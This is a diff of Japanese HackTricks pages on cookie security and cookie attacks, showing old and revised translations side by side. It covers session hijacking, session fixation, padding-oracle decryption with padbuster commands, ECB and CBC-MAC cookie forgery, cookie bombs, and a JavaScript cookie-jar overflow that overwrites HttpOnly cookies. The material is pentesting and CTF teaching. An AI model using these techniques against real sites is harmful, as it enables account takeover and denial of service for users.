* Cookie Jarオーバーフローアタックを実行することで、**HttpOnly Cookieを上書き**することが可能です: * Cookie Jar オーバーフローアタックを実行することで、**HttpOnly Cookie を上書き**することが可能です:
{% content-ref url="cookie-jar-overflow.md" %} {% content-ref url="cookie-jar-overflow.md" %}
[cookie-jar-overflow.md](cookie-jar-overflow.md) [cookie-jar-overflow.md](cookie-jar-overflow.md)
{% endcontent-ref %} {% endcontent-ref %}
* [**Cookie Smuggling**](./#cookie-smuggling)攻撃を使用してこれらのCookieを外部に送信することが可能です * [**Cookie Smuggling**](./#cookie-smuggling) 攻撃を使用してこれらの Cookie を外部に持ち出すことが可能です
### Secure ### Secure
リクエストは、通常**HTTPS**を介して送信される場合にのみ、HTTPリクエストでCookieを送信します。 リクエストは、通常 **HTTPS** を介して送信される場合にのみ、HTTP リクエストで Cookie を送信します。
## Cookieプレフィックス ## Cookies プレフィックス
`__Secure-`で始まるCookieは、HTTPSで保護されたページから設定された`secure`フラグと共に設定する必要があります。 `__Secure-` で始まる Cookie は、HTTPS で保護されたページから設定する必要があります。
`__Host-`で始まるCookieには、いくつかの条件があります `__Host-` で始まる Cookie には、いくつかの条件があります:
- `secure`フラグで設定する必要があります。 - `secure` フラグで設定する必要があります。
- HTTPSで保護されたページから発信する必要があります。 - HTTPS で保護されたページから発信する必要があります。
- ドメインを指定することは禁止されており、サブドメインに送信されることを防ぎます。 - ドメインを指定することは禁止されており、サブドメインに送信されることを防ぎます。
- これらのCookieのパスは`/`に設定する必要があります。 - これらの Cookie のパスは `/` に設定する必要があります。
`__Host-`で始まるCookieは、スーパードメインやサブドメインに送信することが許可されていません。この制限はアプリケーションCookieを分離するのに役立ちます。したがって、すべてのアプリケーションCookieに`__Host-`プレフィックスを使用することは、セキュリティと分離を向上させるための良い慣行と考えられます。 `__Host-` で始まる Cookie は、スーパードメインやサブドメインに送信することが許可されていません。この制限はアプリケーションCookie を分離するのに役立ちます。したがって、すべてのアプリケーション Cookie `__Host-` プレフィックスを使用することは、セキュリティと分離を向上させるための良い慣行と考えられます。
## Cookie攻撃 ## Cookies 攻撃
カスタムCookieに機密データが含まれている場合は、それを確認してください特にCTFをプレイしている場合。脆弱性がある可能性があります。 カスタム Cookie に機密データが含まれている場合は、それを確認してください(特に CTF をプレイしている場合)。それは脆弱性を持つ可能性があります。
### Cookieのデコードと操作 ### Cookie のデコードと操作
Cookieに埋め込まれた機密データは常に検討する必要があります。Base64や類似の形式でエンコードされたCookieは、しばしばデコードできます。この脆弱性により、攻撃者はCookieの内容を変更し、変更されたデータをCookieにエンコードして他のユーザーをなりすますことができます。 Cookie に埋め込まれた機密データは常に検討すべきです。Base64 や類似の形式でエンコードされた Cookie は、しばしばデコードできます。この脆弱性により、攻撃者は Cookie の内容を変更し、変更されたデータを Cookie にエンコードして他のユーザーをなりすますことができます。
### セッションハイジャック ### セッションハイジャック
この攻撃は、ユーザーのCookieを盗んで、アプリケーション内のアカウントに不正アクセスを取得することを含みます。盗まれたCookieを使用することで、攻撃者は合法的なユーザーをなりすることができます。 この攻撃は、ユーザーの Cookie を盗んで、アプリケーション内のアカウントに不正アクセスを取得することを含みます。盗まれた Cookie を使用することで、攻撃者は合法的なユーザーをなりすることができます。
### セッションフィクセーション ### セッションフィクセーション
このシナリオでは、攻撃者は被害者に特定のCookieを使用してログインさせます。アプリケーションがログイン時に新しいCookieを割り当てない場合、元のCookieを持っている攻撃者は被害者をなりすることができます。この技術は、被害者が攻撃者から提供されたCookieを使用してログインすることに依存しています。 このシナリオでは、攻撃者は被害者に特定の Cookie を使用してログインさせます。アプリケーションがログイン時に新しい Cookie を割り当てない場合、元の Cookie を持っている攻撃者は被害者をなりすることができます。この技術は、被害者が攻撃者から提供された Cookie を使用してログインすることに依存しています。
サブドメインで**XSSを見つけた**場合や**サブドメインを制御している**場合は、次を読んでください: サブドメインで **XSS を見つけた場合** または **サブドメインを制御している場合**、次のリンクを参照してください:
{% content-ref url="cookie-tossing.md" %} {% content-ref url="cookie-tossing.md" %}
[cookie-tossing.md](cookie-tossing.md) [cookie-tossing.md](cookie-tossing.md)
@ -129,9 +130,9 @@ Cookieに埋め込まれた機密データは常に検討する必要があり
### セッション寄付 ### セッション寄付
ここでは、攻撃者は被害者に攻撃者のセッションCookieを使用するよう説得します。被害者は、自分のアカウントにログインしていると信じている間、実際には攻撃者のアカウントで操作を行うことになります。 ここでは、攻撃者が被害者に攻撃者のセッション Cookie を使用するように説得します。被害者は、自分のアカウントにログインしていると信じている間、実際には攻撃者のアカウントで操作を行うことになります。
サブドメインで**XSSを見つけた**場合や**サブドメインを制御している**場合は、次を読んでください: サブドメインで **XSS を見つけた場合** または **サブドメインを制御している場合**、次のリンクを参照してください:
{% content-ref url="cookie-tossing.md" %} {% content-ref url="cookie-tossing.md" %}
[cookie-tossing.md](cookie-tossing.md) [cookie-tossing.md](cookie-tossing.md)
@ -139,24 +140,24 @@ Cookieに埋め込まれた機密データは常に検討する必要があり
### [JWT Cookies](../hacking-jwt-json-web-tokens.md) ### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
JWTに関する可能性のある欠陥を説明するページにアクセスするには、前述のリンクをクリックしてください。 JWT に関する可能性のある欠陥について説明したページにアクセスするには、前述のリンクをクリックしてください。
Cookieで使用されるJSON Web TokensJWTには、脆弱性が存在する可能性があります。JWTのハッキングに関する詳細情報については、リンクされたJWTのハッキングに関する文書にアクセスすることをお勧めします Cookie で使用される JSON Web Tokens (JWT) には、脆弱性が存在する可能性があります。JWT のハッキングに関する詳細情報については、リンクされた JWT ハッキングのドキュメントにアクセスしてください
### クロスサイトリクエストフォージェリCSRF ### クロスサイトリクエストフォージェリCSRF
この攻撃は、現在認証されているWebアプリケーションでログインしているユーザーに、望ましくないアクションを実行させることを強制します。攻撃者は、脆弱なサイトに送信されるすべてのリクエストと共に送信されるCookieを悪用することができます。 この攻撃は、現在認証されている Web アプリケーションでログインしているユーザーに、望ましくないアクションを実行させることを強制します。攻撃者は、脆弱なサイトに送信されるすべてのリクエストと共に送信される Cookie を悪用することができます。
### 空のCookie ### 空の Cookie
詳細は[元の研究](https://blog.ankursundara.com/cookie-bugs/)を参照してください) [元の研究](https://blog.ankursundara.com/cookie-bugs/)で詳細を確認してください)
ブラウザは、名前のないCookieを作成することを許可しており、JavaScriptを使用して次のように示すことができます ブラウザは、名前のない Cookie を作成することを許可しており、JavaScript を使用して次のように示すことができます:
```js ```js
document.cookie = "a=v1" document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2" document.cookie = "b=v2"
``` ```
以下は送信されたCookieヘッダーの結果です:`a=v1; test value; b=v2;`。興味深いことに、空の名前Cookieが設定されると、他のCookieを制御する可能性があります。特定の値に空のCookieを設定することで、他のCookieを操作できます。 以下は送信されたCookieヘッダーの結果です`a=v1; test value; b=v2;`。興味深いことに、空の名前Cookieが設定されると、他のCookieを制御する可能性があります。特定の値に空のCookieを設定することで、他のCookieを操作できます。
```js ```js
function setCookie(name, value) { function setCookie(name, value) {
document.cookie = `${name}=${value}`; document.cookie = `${name}=${value}`;
@ -172,12 +173,12 @@ Chromeでは、設定されたクッキーにUnicodeサロゲートコードポ
```js ```js
document.cookie = "\ud800=meep"; document.cookie = "\ud800=meep";
``` ```
これにより、`document.cookie` が空の文字列を出力し、永続的な破損が示されます。 これにより、`document.cookie` が空の文字列を出力し、永続的な破損を示します。
#### 解析の問題によるCookieスマグリング #### 解析の問題によるCookieスマグリング
(詳細は[オリジナルリサーチ](https://blog.ankursundara.com/cookie-bugs/)を参照してください) (詳細は[オリジナルリサーチ](https://blog.ankursundara.com/cookie-bugs/)を参照してください)
JavaJetty、TomCat、UndertowおよびPythonZope、cherrypy、web.py、aiohttp、bottle、webobを含むいくつかのWebサーバーは、古いRFC2965サポートのためにCookie文字列を誤処理しています。セミコロンを含むダブルクォートで囲まれたCookie値を通常はキーと値のペアを区切るはずのセミコロンを含んでも単一の値として読み取ります。 JavaJetty、TomCat、UndertowやPythonZope、cherrypy、web.py、aiohttp、bottle、webobなど、いくつかのWebサーバーは、古いRFC2965サポートのためにCookie文字列を誤って処理します。これらのサーバーは、セミコロンを含む場合でも、ダブルクォートで囲まれたCookie値を通常はキーと値のペアを区切るはずのセミコロンとして読み取ります。
``` ```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end"; RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
``` ```
@ -195,25 +196,25 @@ RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
### Extra Vulnerable Cookies Checks ### Extra Vulnerable Cookies Checks
#### **Basic checks** #### **基本的なチェック**
* **ログイン**するたびに**クッキー**が**同じ**であることを確認します。 * **クッキー**は**ログイン**ごとに**同じ**です。
* ログアウトして同じクッキーを使用してみてください。 * ログアウトして同じクッキーを使用してみてください。
* 同じクッキーを使用して同じアカウントに2つのデバイスまたはブラウザでログインしようとしてみてください。 * 同じクッキーを使用して同じアカウントに2つのデバイスまたはブラウザでログインしようとしてみてください。
* クッキーに情報が含まれているか確認し、それを変更してみてください。 * クッキーに情報が含まれているかどうかを確認し、それを変更してみてください。
* ほぼ同じユーザー名で複数のアカウントを作成し、類似点が見られるかどうかを確認してください。 * ほぼ同じユーザー名で複数のアカウントを作成し、類似点が見られるかどうかを確認してください。
* 存在する場合は「**remember me**」オプションを確認して、その動作を確認してください。存在し、脆弱ある場合は、常に他のクッキーなしで「remember me」のクッキーを使用してください。 * 存在する場合は「**remember me**」オプションを確認して、その動作を確認してください。存在し、脆弱性がある場合は、常に他のクッキーなしで「remember me」のクッキーを使用してください。
* パスワードを変更した後も以前のクッキーが機能するかどうかを確認してください。 * パスワードを変更した後も以前のクッキーが機能するかどうかを確認してください。
#### **Advanced cookies attacks** #### **高度なクッキー攻撃**
クッキーがログイン時に変わらない(またはほぼ変わらない)場合、おそらくクッキーはアカウントのいくつかのフィールドに関連しています(おそらくユーザー名)。その場合は次のようにできます: ログイン時にクッキーが同じ(またはほぼ同じ)ままである場合、おそらくクッキーはアカウントのいくつかのフィールドに関連していることを意味します(おそらくユーザー名)。その場合は次のようにできます:
* 非常に**類似したユーザー名**で多くの**アカウント**を作成し、アルゴリズムがどのように機能しているかを**推測**してみてください。 * 非常に**類似したユーザー名**で多くの**アカウント**を作成し、アルゴリズムがどのように機能しているかを推測してみてください。
* **ユーザー名をブルートフォース**してみてください。クッキーがユーザー名の認証方法としてのみ保存されている場合、ユーザー名が「**Bmin**」のアカウントを作成し、クッキーの各ビットをブルートフォースしてみてください。その中には「**admin**」に属するクッキーの1つが含まれる可能性があります。 * **ユーザー名をブルートフォース**してみてください。クッキーがユーザー名の認証方法としてのみ保存されている場合、ユーザー名が「**Bmin**」のアカウントを作成し、クッキーの各ビットをブルートフォースしてみてください。その中には「**admin**」に属するクッキーの1つが含まれる可能性があります。
* **Padding Oracle**を試してみてください(クッキーの内容を復号化できます)。**padbuster**を使用してください。 * **Padding Oracle**を試してみてください(クッキーの内容を復号化できます)。**padbuster**を使用してください。
**Padding Oracle - Padbuster examples** **Padding Oracle - Padbusterの例**
```bash ```bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]> padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64 # When cookies and regular Base64
@ -223,7 +224,7 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2 7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
``` ```
Padbusterは複数の試行を行い、どの条件がエラー条件であるか(有効ではない条件)を尋ねます。 Padbusterは複数の試行を行い、どがエラー条件であるか(有効ではない条件)を尋ねます。
その後、クッキーの復号化を開始します(数分かかる場合があります)。 その後、クッキーの復号化を開始します(数分かかる場合があります)。
@ -235,7 +236,7 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
**CBC-MAC** **CBC-MAC**
クッキーには値が含まれ、CBCを使用して署名される可能性があります。その後、値の整合性は、同じ値を使用してCBCを使用して作成された署名です。 IVとしてヌルベクトルを使用することが推奨されているため、このタイプの整合性チェックは脆弱になる可能性があります。 クッキーには値が含まれ、CBCを使用して署名される可能性があります。その後、値の整合性は、同じ値を使用してCBCを使用して作成された署名です。 IVとしてヌルベクトルを使用することが推奨されているため、このの整合性チェックは脆弱になる可能性があります。
**攻撃** **攻撃**
@ -252,9 +253,9 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
ほぼ同じデータユーザー名、パスワード、メールなどを持つ2つのユーザーを作成し、与えられたクッキーの中にパターンを見つけようとします ほぼ同じデータユーザー名、パスワード、メールなどを持つ2つのユーザーを作成し、与えられたクッキーの中にパターンを見つけようとします
例えば「aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa」という名前のユーザーを作成し、クッキーの中にパターンがあるかどうかを確認しますECBは同じ鍵でブロックごとに暗号化するため、ユーザー名が暗号化されると同じ暗号化されたバイトが現れる可能性があります 例えば「aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa」という名前のユーザーを作成し、クッキーにパターンがあるかどうかを確認しますECBは同じ鍵でブロックごとに暗号化するため、ユーザー名が暗号化されると同じ暗号化されたバイトが現れる可能性があります
パターンがあるはずです(使用されるブロックのサイズで)。したがって、「a」ブロックのサイズ+「admin」のユーザー名を作成できます。その後、クッキーから「a」のブロックの暗号化パターンを削除できます。そして、ユーザー名「admin」のクッキーを取得できます。 パターンがあるはずです(使用されるブロックのサイズで)。したがって、一連の「a」がどのように暗号化されるかを知っている場合、ユーザー名を作成できます: "a"\*(ブロックのサイズ)+"admin"。その後、クッキーから1つのブロックの「a」の暗号化されたパターンを削除できます。そして、ユーザー名「admin」のクッキーを取得できます。
## 参考文献 ## 参考文献
@ -263,21 +264,21 @@ padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lB
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて修正を迅速化します。 Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリケーション、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今 最も重要な脆弱性を見つけて、より速く修正できるようにします。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリケーション、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今すぐ
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary> <summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを入手す
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**する。 * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、自分のハッキングトリックを共有する
</details> </details>

View file

@ -1,34 +1,34 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリにPRを提出してください。**
</details> </details>
**`Cookie bomb`**は、**ユーザーを標的としたドメインおよびそのサブドメインに大量の大きなCookieを追加する**ことを含みます。この行動により、被害者はサーバーに**過剰なHTTPリクエストを送信**し、その後**サーバーによって拒否されます**。これにより、そのドメインおよびそのサブドメイン内の特定のユーザーを標的としたサービス拒否DoSが引き起こされます。 **`Cookie bomb`** は、**ユーザーを標的としたドメインおよびそのサブドメインに大量の大きなCookieを追加する**ことを含みます。この行動により、被害者はサーバーに**過剰なHTTPリクエストを送信**し、その後**サーバーによって拒否されます**。これにより、そのドメインおよびそのサブドメイン内の特定のユーザーを標的としたサービス拒否DoSが引き起こされます。
この手法の素晴らしい**例**は、次の解説で確認できます:[https://hackerone.com/reports/57356](https://hackerone.com/reports/57356) 良い**例**は、この解説で確認できます:[https://hackerone.com/reports/57356](https://hackerone.com/reports/57356)
さらに詳細な情報については、このプレゼンテーションをご覧ください:[https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26) さらに情報をご覧になりたい場合は、このプレゼンテーションをご覧ください:[https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26](https://speakerdeck.com/filedescriptor/the-cookie-monster-in-your-browsers?slide=26)
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリにPRを提出してください。**
</details> </details>

View file

@ -1,19 +1,19 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック</strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。 * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。 * **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
ブラウザには、ページで保持できる**クッキーの数に制限**があります。したがって、何らかの理由で**クッキーを消失させたい**場合は、**クッキージャーをオーバーフロー**させることができます。古いものから削除されるからです: ブラウザはページごとに保存できる**Cookieの数に制限**があります。そのため、何らかの理由で**Cookieを消去する必要がある**場合は、最も古いCookieが削除される前に**Cookieジャーをオーバーフロー**させることができます。
```javascript ```javascript
// Set many cookies // Set many cookies
for (let i = 0; i < 700; i++) { for (let i = 0; i < 700; i++) {
@ -25,25 +25,25 @@ for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`; document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
} }
``` ```
異なるドメインを指すサードパーティクッキーは上書きされません。 注意:異なるドメインを指すサードパーティクッキーは上書きされません。
{% hint style="danger" %} {% hint style="danger" %}
この攻撃は、**HttpOnlyクッキーを削除してから、任意の値で再設定することで上書きすることも可能です**。 この攻撃は、**HttpOnlyクッキーを上書きするために使用することもできます。削除してから、希望する値でリセットできます**。
この方法については[**このラボの投稿**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/)で確認してください。 [**このラボを含むこの投稿**](https://www.sjoerdlangkemper.nl/2020/05/27/overwriting-httponly-cookies-from-javascript-using-cookie-jar-overflow/)をチェックしてください。
{% endhint %} {% endhint %}
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェックしてください</strong></summary> <summary><strong>**htARTEHackTricks AWS Red Team Expert**でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手してください。 * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックしてください。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加するか**、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローしてください** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください
* **HackTricks**のGitHubリポジトリ[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出して、あなたのハッキングのコツを**共有してください** * **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください
</details> </details>

View file

@ -1,61 +1,61 @@
<details> <details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
